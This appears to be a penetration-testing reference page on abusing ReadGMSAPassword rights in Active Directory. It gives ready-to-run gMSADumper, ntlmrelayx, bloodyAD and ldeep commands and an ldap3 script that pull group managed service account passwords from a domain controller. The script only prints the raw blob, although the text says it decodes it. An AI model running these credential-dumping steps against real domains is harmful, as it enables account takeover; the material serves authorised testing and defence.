Skip to content

ReadGMSAPassword

This abuse stands out a bit from other abuse cases. It can be carried out when controlling an object that is listed as a principal in the target gMSA account's msDS-GroupMSAMembership attribute (also known as PrincipalsAllowedToRetrieveManagedPassword). These are the principals explicitly allowed to retrieve the managed password. Alternatively, having direct read access to the msDS-ManagedPassword attribute also allows reading the password. Note that ACEs on msDS-GroupMSAMembership's security descriptor govern who can modify that membership list, not who reads the password itself.

The attacker can then read the gMSA (group managed service accounts) password of the account if those requirements are met.

On UNIX-like systems, gMSADumper (Python) can be used to read and decode gMSA passwords. It supports cleartext NTLM, pass-the-hash and Kerberoas authentications.

bash
gMSADumper.py -u "$USER" -p "$PASSWORD" -d "$DOMAIN"

Alternative 1: Impacket's ntlmrelayx (Python) tool can be used to read and decode gMSA passwords. ⚠️ Some tests showed ntlmrelayx missed entries gMSADumper didn't.

bash
ntlmrelayx.py -t ldaps://10.0.0.5 -debug --dump-gmsa --no-dump --no-da --no-acl --no-validate-privs

In order to easily fake a relayed authentication, once the relay servers are up and running, the tester can browse http://127.0.0.1/ in order to trigger a basic authentication that will then be relayed by ntlmrelayx, like this.


Alternative 2: The msDS-ManagedPassword attribute can also be manually obtained by running the following Python script. The following Python code can then be used to decode the blob.

python
import ldap3
target_dn = "" # something like 'CN=Target User,OU=Standard Accounts,DC=domain,DC=local'
domain = "domain"
username = "username"
user = "{}\\{}".format(domain, username)
password = "password"
server = ldap3.Server(domain)
connection = ldap3.Connection(server = server, user = user, password = password, authentication = ldap3.NTLM)
connection.bind()
connection.search(target_dn, '(&(ObjectClass=msDS-GroupManagedServiceAccount))', search_scope=ldap3.SUBTREE, attributes=['sAMAccountName','msDS-ManagedPassword'])
print(connection.entries)

Alternative 3: Using bloodyAD (Python)

bash
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" get object $TargetObject --attr msDS-ManagedPassword

Alternative 4: Using ldeep (Python)

bash
ldeep ldap -d "$DOMAIN" -s "$DC_IP" -u "$USER" -p "$PASSWORD" gmsa -t $TargetObject

Resources

https://cube0x0.github.io/Relaying-for-gMSA/